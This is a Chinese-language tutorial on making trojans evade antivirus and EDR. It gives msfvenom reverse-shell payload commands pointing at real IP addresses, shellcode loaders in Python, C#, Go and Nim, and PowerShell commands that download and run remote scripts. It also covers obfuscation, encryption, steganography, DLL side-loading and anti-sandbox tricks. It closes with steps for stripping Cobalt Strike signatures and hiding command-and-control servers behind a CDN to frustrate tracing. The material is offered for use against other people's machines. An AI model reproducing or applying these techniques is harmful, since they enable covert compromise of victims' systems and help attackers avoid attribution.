# 源码层面免杀

# c 免杀

  • 木马生成
1
2
3
4
5
# cs/msf 木马
cs->攻击->生成后门->payload生成windows可执行程序->选择监听器->生成
msf-> msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x lport=8079 -f c
msf-> msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.102.120.55 lport=8079 -f raw > shellcode.raw
msf监听-> use exploit/multi/handler
  • 木马免杀

用 windows 将 c 文件编译为 exe 文件运行,c 文件可操作空间更大,而不像 exe 程序,直接是程序,修改之后可能失去了木马作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# xor加密:工具或自定义脚本
# 工具下载:https://github.com/Arno0x/ShellcodeWrapper
# 使用密钥“thisismykey ”对 shellcode 进行异或加密
python2 shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor
python xor.py -s shellcode.bin -d payload.c -n 10 -r out.bin

# aes加密
# 使用密钥“thisismykey ”对 shellcode 进行aes加密
python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi aes
# 生成的cpp文件需要用gcc编译器进行编译成可执行文件

# hex加密
# 工具下载:https://github.com/ByPassAVTeam/ShellcodeLoader
# 在线编码:https://gchq.github.io/CyberChef/
# 将 16 进制的payload生成exe可执行程序:
LoaderMaker.exe download.dat xiaodi.exe

# rc4 加密:https://blog.csdn.net/weixin_45590789/article/details/105536623
将shellcode经过rc4 加密,再进行利用
  • 免杀结论

经测试,只有 rc4 加密绕过了 windows Defender,而 360 没有被这几种方法绕过,自己写的 xor 加密,aes 加密,hex 加密,rc4 加密都很大程度上绕过了火 绒。每次木马执行完毕后,需要清理,防止指纹被采集,下次就不是很好使用了。

# py 免杀

  • py 执行木马的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 执行代码 1 
shellcode = b"xxxxx"
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage,
ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

# 执行代码 2
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
  • 混淆加密免杀

( 1 )正常情况 直接执行
( 2 )base 64 先编码,在进行解码操作,后者为新木马
( 3 )aes+base64:msf 生成 base 64 编码木马,对木马 aes 加密,而后将 aes 解密操作变成可执行
( 4 )序列化与反序列化
( 5 )另外的 Xor,Rc4 等加密算法都可以实现测试

  • 不同的打包器打包木马

对上述 5 种方法产生的木马进行打包

1
2
3
4
5
6
7
8
# pyinstaller 使用
pyinstaller -F test.py

# py2exe 打包
python setup.py py2exe

# Nuitka 使用
nuitka --mingw64 --standalone --show-memory --show-progress --nofollow-imports --follow-import-to=utils,src --output-dir=out 108.py

# ps1 免杀

cs 可以生成 powershell 文件和 powershell command 两种。第一种是文件模式,上线代码在 ps 1 种,直接运行就可以上线,第二种是一个 txt,复制代码用 cmd 执行即可上线。

  • 手工混淆
1
2
3
4
5
6
7
8
9
# 先base 64 编码再去执行解码后的代码
$bb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($x))

# powershell绕过执行策略执行ps1 脚本的方法
powershell -ExecutionPolicy bypass -File hr.ps1

# 在编码后的代码中添加一些垃圾数据,进行replace替换为空,解码执行
- -----xiaosedi------xiaosedi-----xiaosedi------------.replace('xiaosedi','')
# 在原型代码中添加一些垃圾数据,编码解码之后,进行replace替换为空,干扰检测。
  • 分离代码
1
2
3
4
# 将恶意代码的base 64 藏在web上,通过http请求去拿数据,再通过解码执行
$d= ((New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/1.txt'))
$x=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($d))
# 也可以配合手工混淆,将原型或编码后的代码加上干扰数据后放至远程http上
  • 项目混淆
1
2
3
4
5
6
7
8
https://github.com/danielbohannon/Invoke-Obfuscation
加载模块:Import-Module ./Invoke-Obfuscation.psd1
运行程序:Invoke-Obfuscation
原型文件路径:set scriptpath C:\Users\ 86135 \Desktop\1.ps1
部分代码编码:set scriptblock 'xxxx'
进入编码:encoding
选择编码: 1 - 8
输出文件:out C:\Users\ 86135 \Desktop\11.ps1
  • 木马转字节流 特征修改
1
2
3
4
5
# 找到关键木马,利用脚本将木马的核心代码转化为字节流,注意字节流不能加引号
[Byte[]]$x=[Byte[]](1,23,315,124,......,2512)

# 将shellcode中的全部的代码进行变量替换,使其与原型发生很大不同
# 即通过fuzz的思想,看修改哪部分代码是defender检测的进行修改

# ps1 cmd 免杀

  • 执行远程原型木马
1
2
# 执行远程原型木马
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x.ps1'))"
  • 替换变量
1
2
3
4
5
6
# 替换变量
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.94.236.117/x.ps1''));';IEX ($a+$b)"

# 复制powershell执行程序
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.exe
.\bypass.exe "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.94.236.117/x.ps1''));';IEX ($a+$b)"
  • 垃圾数据干扰
1
2
# 垃圾数据干扰
powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal - w Normal -w Normal -w Normal -w Normal -w Normal -w Normal ...... Nor mal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).Downl oadString('ht'+'tp://47.94.236.117/x.ps1')
  • 替换原型木马关键字进行干扰
1
2
# 替换原型木马关键字进行干扰
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.236.117/x.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
  • Ladon 混淆命令
    通过 ladon 将 powershell 免杀木马生成为 exe 可执行文件
    通过 ps2exe 生成 exe 文件:https://github.com/MScholtes/Win-PS2EXE

# C# 免杀

  • 原型木马
1
2
3
4
# 原型木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=6688 -e x86/shikata_ga_nai -i 15 -f csharp
use exploit/multi/handler
# 用运行shellcode的C#脚本运行此代码,生成exe文件测试木马
  • 混淆加密
    先用 msf 生成 64 位木马
    用加密脚本进行加密,通过 key 来混淆原型木马获得字节流数据
    再用解密脚本进行解密,用 key 与字节流数据运行脚本进行干扰杀毒检测
    而后打包为 exe 可执行文件测试木马

  • 文件混淆
    一些杀毒软件会将木马放置到 VT 或者沙盒中运行,通过行为检测是否是 木马;而 exe 文件本身是支持反编译的,进行逆向可以找到源码中的 shellcode。 沙盒或许能识别到此 shellcode,通过一些软件实现加密原有 exe 程序,干扰杀 毒软件的判断能力。
    开源 - ConfuserEx 通过将原型木马加密
    付费 - VirboxProtector
    看工具支持哪些语言,如果此工具不支持其他语言,加密后原功能会失效

# Go 免杀

  • 原型木马

通过 cs 生成 c 代码,利用 go 脚本去运行 c 程序
用运行 shellcode 的 go 脚本运行代码,直接运行或者生成 exe 文件测试木马

1
2
3
4
5
6
7
8
# 运行1.go脚本
go run 1.go

# 编译1.go脚本
go build 1.go

# 去弹窗编译1.go脚本
go build -ldflags="-H windowsgui -w -s" 1.go
  • 分离代码

如将 shellcode 进行 http 请求获取,或者以参数方式加入,又或者从资源中请求 shellcode
准备一个 AES 加密脚本,需要添加 shellcode 为要加密的内容,运行之后会随机生成 key,并利用此 key 将 shellcode 加密后的代码打印出来
再准备一个 AES 解密脚本,需要输入参数 key 和要执行的代码,此脚本运行之后会利用 key 去解密还原 shellcode,将此 AES 解密脚本打包为 exe 文件

  • 分离代码 自定义代码
1
2
3
4
5
6
7
# cs或msf生成raw格式
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=6688 -f hex

# 写go脚本直接从参数中获取shellcode运行,运行exe程序时设置参数为hex木马
go build -ldflags "-s -w -H=windowsgui" 5.go
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
  • 分离代码 资源分离

go 代码中写明要从某个文件获取代码,可以只想 msf/cs 生成的 bin 文件生成 exe 文件之后,将 bin 文件放置代码中指向的目录中执行 exe 就会读取木马并执行

  • 保护混淆

通过软件 SafengineShielden 进行保护 混淆 禁止 VT 调试 禁止虚拟机运行等特点

# ASM 免杀

  • 内联 C 混编

通过 c 与 asm 的混合代码来执行 shellcode. 实测情况下对防病毒软件都没有作用

  • 花指令

通过相关工具生成 asm 即汇编语言指令,加入到原有的内联 C 代码上干扰需要知道入口地址,通过 ollydeg 工具进行调试,重新打包文件,实测无效。

  • 编译汇编代码

来源:https://forum.butian.net/share/1536
通过火绒剑抓取运行恶意软件时的进程,查看是否有远程 ip 及端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 发现30.4.204对应IP地址:
30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h

# 可以推断出在asm马中
30=1, 2f=0, 2d=., 32=3, 33=4, 31=2

# 构造ip若为47.94.236.117则马为
33h,36h,2dh,38h,33h,2dh,31h,32h,35h,2dh,30h,30h,36h,00h

# 端口:
82=52h 88=28h

# 编译器:https://www.masm32.com/
# 编译为obj文件:
ml /c /coff /Cp test.asm

# 生成exe文件:
link /subsystem:console /libpath:c:\masm32\lib test.obj

# 在cs上选择http监听器监听端口即可免杀

# Java 免杀

  • JAR 包原型

msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

  • JAR 包源码特征修改免杀

Jar 反编译导出 - jdgui
修改上线配置 - config
修改启动主类 - MANIFEST.MF
修改执行代码 - Main.java
打包 class-javac Main.java
编译 jar -jar cvfm xiaodi.jar META-INF/MANIFEST.MF .

  • JAR 包打包 EXE 执行免杀

安装:exe4j Inno 进行打包
exe4j - 下载链接:https://exe4j.apponic.com/
inno - 下载链接:https://jrsoftware.org/isdl.php
操作说明:https://www.jb51.net/article/236000.htm

# py 无文件落地

是将 shellcode 直接加载进内存,由于没有文件落地,因此可以绕过文件扫 描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申 请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。 分离免杀包含对特征和行为的分离两个维度,把 shellcode 从放在程序转移到加载进内存,把整块的 shellcode 通过分块传输的方法上传然后再拼接,这些体现了基本的 “分离” 思想。

# 从文本中提取木马

从 msf/cs 生成木马,注意需要与自己使用的 python 的版本一致

  • 读取编码木马文件
1
2
3
4
5
6
7
8
9
10
11
# 用python将木马转化为base 64 编码
print(base64.b64encode(b'\xx\xx\...\xx'))

# 将编码后的木马以文件的方式放在一个文件中,s.txt
# 用python读取s.txt中的木马并执行
s= open('s.txt','r').read()

# 再次利用py 2 exe打包py程序
python setup py 2 exe

# 将exe可执行程序与s.txt一起放置在对方电脑上,执行即可
  • 编码木马文件做混淆

注意 df 会对 s.txt 内容进行查杀,需要将 s.txt 做一个混淆
即插入一堆乱字符如 xiaodi,在 py 代码中读取内容后做替换 data = data.replace (‘xiaodi’,’’)
再次用 py2exe 打包,切换新的混淆木马即可免杀 df

# 从参数中提取木马

生成的木马,以字节流即 shellcode=b’\xx\xx…\xx ' 的形式赋值
将木马与执行 py 程序的代码全部合并进行 base 64 编码,编码的作用是为了防止空格回车的影响,可以将全部的程序从参数中读取

1
2
3
# 编写如下py代码并用p2exe进行打包,使用时将可执行木马的base64 编码值从参数中读取
import base 64
exec(base64.b64decode(sys.argv[1]))

# 从 http 中提取木马

同样的将木马即 py 执行木马的代码全部打包放在外部网站上,不建议使用自己的服务器读取编码后的木马,可以使用 oss 存储资源,这对对方的朔源会增。加很大的难度

1
2
3
4
5
# py读取代码并同时执行读到的木马程序如下:
import base 64
from urllib.request import urlopen
exec(base64.b64decode(urlopen('http://www.xxx.com/1.txt').read()))
# 打包后将 exe 放置在对方的电脑上即可(可以尝试切换不同的打包起或者请求方式)。

# 从 socket 获取木马

参考:https://www.cnblogs.com/Keep-Ambition/p/7459213.html

准备两个文件,一个为 socket.s 服务端代码,一个为 socket.c 客户端代码
服务端代码负责接收 socket 通信,负责从客户端读取木马并进行解码执行,默认的 socket 通信是有一定的数量限制的,可以采用拼接的方式执行未能正常获取到的木马
exec (data.decode () + ‘xxxxxxxxxx’)

服务端需要监听 0.0.0.0 即任意网卡,可以与任意 ip 地址建立连接,准备好服务端的代码通过 py2exe 打包放置在对方电脑上
本地的 socket.c 文件需要填写上对方的 ip 地址建立通信,一旦通信建立成功,发送木马,就会上线拿下对方主机

# 从图片中隐写木马

参考:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw

1
2
3
4
5
# 加密:
RGBAencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])

# 解密:
im = Image.open(arguments['<encodedImage>'])

通过脚本将需要用 py 执行的木马隐写到图片中,再次通过 py 取读取隐写在图片中的代码并且执行,将加了木马的图片与 py 程序放在同一目录下测试。注意仍需要将木马进行编码,并且用 pyinstaller/py2exe 两者打包都进行尝试。

# 内存加载免杀

文章参考:https://www.anquanke.com/post/id/262666

让 shellcode 看上去类似于电脑上自带的东西,伪装成这种数据去调用执行
我们开辟一块内存,然后直接将 shellcode 写入到对应的内存中并且该内存是可读可写可执行的状态,那么这种方式太容易被 AV 所查杀,因此当我们如果是利用 Windows 自身提供的 API 来将加密或者封装好的 shellcode 写入到内存执行的话,将会大大增加查杀的难度

# ShellCode 转 UUID

通用唯一识别码 (UUID), 是用于计算机体系中以识别信息数目的一个 128 位 标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID 具有唯一 性。

C++:py 将 shellcode 转为 C++ uuid,C++ 调用 uuid,编译为 exe 执行上线

C#:py 将 shellcode 转为 C# uuid,C# 调用 uuid,编译为 exe 执行上线

Py2:py 将 shellcode 转为 py uuid , py2 调用 uuid,pyinstaller 打包

将 uuid 做分离,使用 http 请求进行无文件落地的内存免杀

Go:py 将木马转为 go uuid , go 调用 uuid 并进行打包,需去除反 VT

源码中会对免杀做反虚拟机调试,可以修改源代码删除此部分功能,或者有些特殊情况需要对方不是在虚拟机中执行,可以利用相关工具加保护。

# ShellCode 转 MAC

MAC 地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡 的 EPROM 一种闪存芯片,通常可以通过程序擦写。IP 地址与 MAC 地址在计算 机里都是以二进制表示的,IP 地址是 32 位的,而 MAC 地址则是 48 位 (6 个字节) 的。

Python2: py 将 shellcode 转为 py MAC,py2 调用 MAC 加载,pyinstaller 打包

Go: py 将 shellcode 转为 go MAC,go 调用 MAC 加载,go build 打包

# ShellCode 转 IPV4

IPv4 是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽努力交付数据包,它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4 使用 32 位( 4 字节)地址。

Go: py 将 shellcode 转为 go ipv4 ,go 调用 IPV4 加载,并加壳进行保护。

# Nim 免杀

nim 编程:https://github.com/ScxMes/Core-Nim-programming

nim 安装及上线:https://mp.weixin.qq.com/s/YKkCcqeiQLwyw4cJvQHilA

# 工具封装木马

  • NimShellCodeLoader

参考链接:https://github.com/aeverj/NimShellCodeLoader
使用人数过多,已经变成了指纹库,不再具有免杀的特性

nim 相关编译参数

1
2
3
4
5
6
7
8
9
10
c:编译成C语言,如:nim c test.nim
cpp:编译成C++语言,如:nim cpp test.nim
objc:编译成objc语言
js:编译成javascript脚本, 可以建一个html文件在<script src="test.js"></script>里运行.
-d:release:进行release编译。nim cc -d:release test.nim
-r:编译完成后运行程序
--cincludes:包含当前目录(./)的 c头文件.
--cpu:指定架构,如:nim cc -cpu amd64 , nim cc -cpu:arm。
编译x64:nim c -d:mingw --app:gui --cpu:amd64 -d:danger -d:strip --opt:size --passc=-flto --passl=-flto test.nim
编译x86:nim c -d:mingw --app:gui --cpu:i386 -d:danger -d:strip --opt:size --passc=-flto --passl=-flto test.nim
  • OffensiveNim 多种方式加载 shellcode

链接:https://github.com/byt3bl33d3r/OffensiveNim

1
2
3
4
5
6
7
8
9
10
11
12
# 通过进程迁移shellcode_fiber.nim
# 使用msf/cs生成 64 位的c#木马,将木马植入到nim代码中,注意nim代码命名中只允许出现英文,不能有-的特殊字符,编译为exe文件
msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays

# 通过内联
asm shellcode_inline_asm_bin.nim

# 去除多余的代码,用nim加载shellcode并编译为exe
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp

# 通过创建的挂起进程注入 shellcode_bin.nim
msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays

# 无文件落地免杀

  • 参数型 nim 脚本

参数可以选取 bin 后缀的文件或者编码后的 shellcode
编译 nim,与 bin 文件一起放入到对方主机中,通常 bin 文件会被查杀

  • 参数编码型脚本

以参数形式将 hex 的 shellcode 拼接在 exe 程序后边

1
2
3
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f hex
use multi/handler/exploit
set payload windows/x64/meterpreter/reverse_tcp
  • 图片隐写 nim 脚本

准备两个 nim 脚本,一个的作用是将 payload.bin 通过自己设置的密码隐写,在图片中或者从隐写的图片中还原隐写的内容,另一个是用来利用隐写图片的 nim 脚本

编译第二个脚本,可以选择从远程 http 获取图片并拼接密码,也可以以文件的方式读取图片。编译好的 exe 放在对方主机中,自己的隐写图片放在远程 服务器上,通过命令行调用 exe 加载远程隐写图片中的木马可以规避杀毒软件。

  • 通过 socket 建立连接

类似于 nc 聊天,将客户端给服务端发送命令执行上线木马的命令获取对方
主机的 shell,可利用 powershell 读取外部 http 的木马。

# shellcode 转 uuid

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp

准备 nim 脚本可以加载 64 位的 uuid,将上述代码转为 uuid 并添加到 nim 脚本中,运行此脚本将会弹出 calc。可以用这个方法将 shellcode 转化为 uuid 执行。

# 应用层面免杀

# 常见查杀方式理论点

  • 特征码扫描:

所谓特征码其实就是程序内部的一串或者几串二进制机器码。特征码匹配 工作原理是先总结出某个病毒的特征码,然后在目标文件中搜索看有没有类似 的匹配,如果有匹配就暂定为病毒文件。优点:速度快,配备高性能的扫描引 擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。

缺点:采用病毒特征代码法的检测工具,面对不断出现的新病毒,必须不 断更新病毒库的版本,否则检测工具便会老化,逐渐失去实用价值;病毒特征 代码法对从未见过的新病毒,无法知道其特征代码,因而无法去检测新病毒;病毒特征码如果没有经过充分的检验,可能会出现误报,数据误删,系统破坏, 给用户带来麻烦。

  • 文件和校验法

将正常文件 A 的 hash 值保存,然后如果有一个新的 A 文件发送过来计算其 hash 值,如果与正常文件的不同,那么认定为病毒文件。

  • 沙盒检测

基于行为的检测,看有没有一些敏感的行为来确定文件是否为病毒。优点是可能发现未知的病毒,缺点是误报相对较高,需要用户参与。

  • 云查杀

类似于特征码查杀。只是如果特征码库没有匹配值的时候会把文件上传到云端继续分析,有时候扫描病毒刚扫描出来不是病毒,但过一会儿扫描就是病毒了,这种行为就是云查杀。

# 特征码花指令与加壳

  • 特征码位置修改

先生成一个 shellcode,并选取一个语言生成为 exe,此时不免杀但是是一个后门,通过工具提取出防病毒软件的特征码,用 ollydeg 工具对特征码的位置进行修改。

采用 jmp 的方式跳转到 00 位置,赋予 00 位置为特征码,执行结束后在 call 回原来位置。

即打乱了原有的执行顺序,来实现了绕过防病毒软件的检测。

简而言之,特征码区域汇编移动到全 0 区域后用 jmp 调用。

  • 花指令改入口

添加花指令重定向修改入口地址从而打乱特征码位置。

生成随机的花指令代码,通过 ollydeg 添加到 00 位置,并借助其他工具改变入口地址为花指令入口地址,花指令执行结束后再跳转到原木马的入口,实测是已失效。

  • 对木马加壳

加壳:通过 UPX 对 pyinstaller 打包的程序进行加壳

加资源:通过 Restorator 对木马 exe 进行伪装为正常软件的图标及版本信息

加保护:由 Shielden 等工具在原有 exe 程序之外套一层保护

# dll 劫持

  • 调用加载

准备 c++ 脚本生成 shellcode 的 dll 程序,用 dll.py 调用 dll 会上线

  • 白加黑方式导入加载

寻找白名单的应用程序的软件,这些软件在执行时会调用 dll 文件,将自己 通过 c++ 或者其他语言写的经过免杀处理后的 dll 程序导出,(studyPE) 并绑定 在原先白程序执行时会加载的 dll 上,当对方执行此软件的时候,dll 会被加载,就会上线。

可以用火绒剑监控软件运行时会加载的 dll 程序

  • 白加黑方式导出编译 钓鱼操作

一部分的应用是不能用通过 PE 工具进行导入 dll 程序的,可以自行制作原 白名单应用运行时所加载的 dll。即将自己的 dll 木马添加到原有加载的 dll 上。

用 Dependencies 工具将原有 dll 反编译为源码,分别为 c、asm、h 三个文 件。新建 dll 工程,设置 VS 的相关参数,并加载原有文件,使得可以正常导出 原有 dll。写 c/c++ 脚本写免杀木马的 dll,通过隐写在图片中的木马加载。当双 击 exe 程序时,dll 被调用,通过隐写在图片中的木马被加载至内存,对方主机 上线。

工具推荐:https://github.com/Mr-Un1k0d3r/DKMC

# sys 回调与 hook

AV: 会检测软件有没有病毒

EDR: 会检测软件的来源与功能,会对文件进行 hook,跟踪文件的走向

工具推荐:https://github.com/7BitsTeam/EDR-Bypass-demo 可以过卡巴斯基、eset、360、火绒、defender、McAee 等 AV/EDR 防病毒软件。

# 其他免杀技术

# 反调试与反虚拟化

近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提 高检测率。其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程 序并观察程序行为来判断程序是否为恶意程序。为了逃避沙箱 / 安全人员的检测, 恶意软件使用了各类识别沙箱 / 虚拟机的技术,用于判断自身程序是否运行在沙 箱 / 虚拟机中。

  • 反调试技术

( 1 )调试器检测

IsDebuggerPresent API ,PEB.BeingDebugged…
TLS 回调,hard/software breakpoints, VirtualAlloc

( 2 )DLL 注入检测

检测是否有 DLL 注入此进程来实现对进程的行为监控(HOOK)

( 3 )Virtual Box 检测

检测文件,例如 VBoxMouse.sys, VirtualBox Guest Additions directory…
检测注册表,进程,服务,例如 VBoxControl.exe, VBoxService…
检测硬件名称,MAC 地址等等…

( 4 )VMware 检测

与 VB 检测类似

( 5 )其他虚拟平台检测

如 Xen, QEMU, Wine, Paralles…

( 6 )分析工具进程检测

检测如 OD, ProcessMonitor, Autorun 等分析工具进程的存在…

( 7 )通用沙盒 / 虚拟机检测

检测是否存在特殊进程名,模块名
通过 WMI 检测真实硬件状态,例如硬盘大小,内存大小,CPU 风扇,型
号,BIOS 序列号名称,电源电压,温度等等…

  • 沙盒平台

微步沙盒:https://s.threatbook.cn/
腾讯哈勃分析系统:https://habo.qq.com/
魔盾:https://www.maldun.com/analysis/
微点沙盒:https://sandbox.depthsec.com.cn/index.php/
奇安信文件深度分析平台:https://sandbox.ti.qianxin.com/sandbox/page
ANYRUN:https://app.any.run/
HybridAnalysis (Falcon Sandbox):https://www.hybrid-analysis.com/
CAPE Sandbox: https://capesandbox.com/
BD Sandbox Analyzer:https://www.bitdefender.com/business/enterprise-products/sandbox-analyzer.html
Joe Sanbox: https://www.joesandbox.com/

  • 规避 VT 检测

( 1 )虚拟机检测 禁止虚拟机运行

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=6688 -f hex
python 查看 cpu、memory 的核数实现,通过命令行判断当前是否是虚拟机,通过有虚拟机才有的特殊文件判断是否是虚拟机等多种方法结合起来,综合判断当前是否在虚拟机内,如果是,则不允许执行 shellcode,否则释放代码,执行上线。

https://www.jb51.net/article/248175.htm
https://www.freebuf.com/articles/system/202717.html
https://blog.csdn.net/lc19920727/article/details/122820209

也可以通过 c++ 语言进行综合判断当前是否在虚拟机,如果是再执行 shellcode
https://github.com/sharepub/CheckVM-Sandbox

( 2 )调试检测 禁止 od 调试

如果我们在对抗的过程中被蓝队人员拿到了样本,他想用 od 去调一下这个程序怎么走的,肯定也不会拿到本机里面调,如果这个 exe 有毒,那电脑就全完了,所以最好的选择还是虚拟机环境,首先反调试的第一个目标就是反虚拟机调试。

查阅资料后发现如果使用虚拟机,一般的路径都为 (在没有修改过的情况下) C:\Program Files\VMware
查看几个虚拟机后发现 vm 的默认进程有 vmtoolsd.exe 和 vmacthlp.exe,直接判断进程是否存在即可起到反调试的效果

参考链接:https://forum.butian.net/share/758

( 3 )反沙箱调试 禁止沙箱运行

最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是 explorer。如果一个程序的父进程不是 explorer,那么我们就可以认为他是由沙箱启动的。那么我们就直接 exit 退出,这样杀软就无法继续对我们进行行为分析了。

绕过:伪造父进程为 explorer.exe 呢,那么上面这种反调试的方法就行不通了。采用这种方法之后,木马仍然可以再沙箱中调试。

反调试及绕过:https://mp.weixin.qq.com/s/mC0XhNSwdhhISwcBFXe0uQ

( 4 )程序保护 禁止虚拟机 od 调试

项目推荐:https://github.com/LordNoteworthy/al-khaser
参考链接:https://bbs.kafan.cn/thread-2181869-1-1.html

al-khaser 是一个具有良好意图的 PoC “恶意软件” 应用程序,旨在强调您的反恶意软件系统。它执行一系列常见的恶意软件技巧,目的是查看您是否躲在雷达之下。

# 二次开发 CS

  • 反编译 cs 的 jar 文件

参考:https://github.com/zer0yu/Awesome-CobaltStrike
反编译 Jar 包、新建 Java( 11 )项目、修改上线代码、打包替换编译、替换服务客户端

1
2
3
4
5
6
7
# 反编译:
java -cp IDEA_HOME/plugins/java-decompiler/lib/java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true <src.jar> <dest dir>

# 具体命令:
"D:\program files\Java\jdk11\bin\java.exe" -cp "C:\Program Files\JetBrains\IntelliJ IDEA 2022.1.3\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true cobaltstrike.jar coba

# 会在coba下生成.jar文件,此时在智能解压会反编译为.java后缀的源码
  • 对端口密码证书做特征消除

链接:https://github.com/zer0yu/Awesome-CobaltStrike

cobaltstrike.beacon_keys 和 cobaltstrike.store 不要使用默认的文件,删除

profile 文件要换新的,启动服务端时记得加载,或直接把 jar 包里面的默认配置给改了

开在公网的 teamserver 不要使用默认端口

  • 对 http/s 上线流量做特征消除

checksum8 函数对比后续 - common\CommonUtils&cloudstrike\WebServer

观察 cs 上线时的日志,会在木马运行时访问一个 4 位英文字符组成的文件, 逆向分析源码之后发现这四个字符经过某种算法计算之后显示为 92/93,可以以 此为基础,对源码进行修改,改变 http/https 流量的特征码,修改原流量特征。

将修改好的文件编译为 class 文件,以解压缩的方式覆盖在 jar 包中,替换 原有的 class 文件,以此来使自己修改的部分生效。

  • 对 Powershell 生成 Payload 做特征消除

功能生成 - 搜代码块 -> 找引用 (template.x86.ps1)->BaseResourceUtils->_buildPowerShellNoHint

用自己已经免杀过的 powershell 脚本来替换原有的未免杀脚本,将文件替换为原有的模板文件,编译为 class,以压缩包的方式进行替换,由此生成的 powershell payload 是免杀的。

也可以修改 artifact.exe 的特征码达到生成的 exe 文件就是免杀的,但是比较难哦。

  • powershell 免杀模版文件:

找源码中生成 powershell 木马的源文件及逻辑,修改模板文件,将模板文件改为如下内容,同时编译修改的文件为 class 文件,替换原有 class 文件中的
文件,实现生成的文件即免杀。

1
2
3
4
5
6
7
8
9
10
11
12
Set-StrictMode -Version 2
$x1='';$x2='%%DATA%%';$x3=''
$xx1=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x1))
$xx2=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x2))
$xx3=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x3))
$xxx=$xx1+$xx2+$xx3
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $xxx | wait-job | Receive-Job
}
else {
IEX $xxx
}
  • 改变生成 C shellcode 的逻辑 直接 base 64 编码
1
2
3
4
5
6
7
public static byte[] toC(byte[] var0) {
Packer var1 = new Packer();
var1.addString("/* length: " + var0.length + " bytes */\n");
var1.addString("unsigned char buf[] = \"" + CommonUtils.bString(toVeil(var0)) + "\";\n");
return var1.getBytes();
}
}

# 防朔源

  • CDN 节点防拉黑 ip

域名注册商:https://sg.godaddy.com/
cdn 解析商:https://dash.cloudflare.com/
c2 模板:https://github.com/threatexpress/malleable-c2

( 1 )前期准备

申请 godaddy 域名、配置 cloudflare、添加解析记录,指向 CS 的 IP、配置 DNS 服务器,使用 cloudflare、下载 C2 文件模版,修改配置并上传、启动 CS 加载 CS 模版,使用 stag 生成

( 2 )因为 cloudflare 的原因这里端口的设置需要注意以下:

若是 http,则只能设置 80,8080,8880,2052,2082,2086,2095 这些端口号
若是 https,则只能设置 443,2053,2083,2087,2096,8443 这些端口号

( 3 )cs 后门生成使用 Stageless 模式

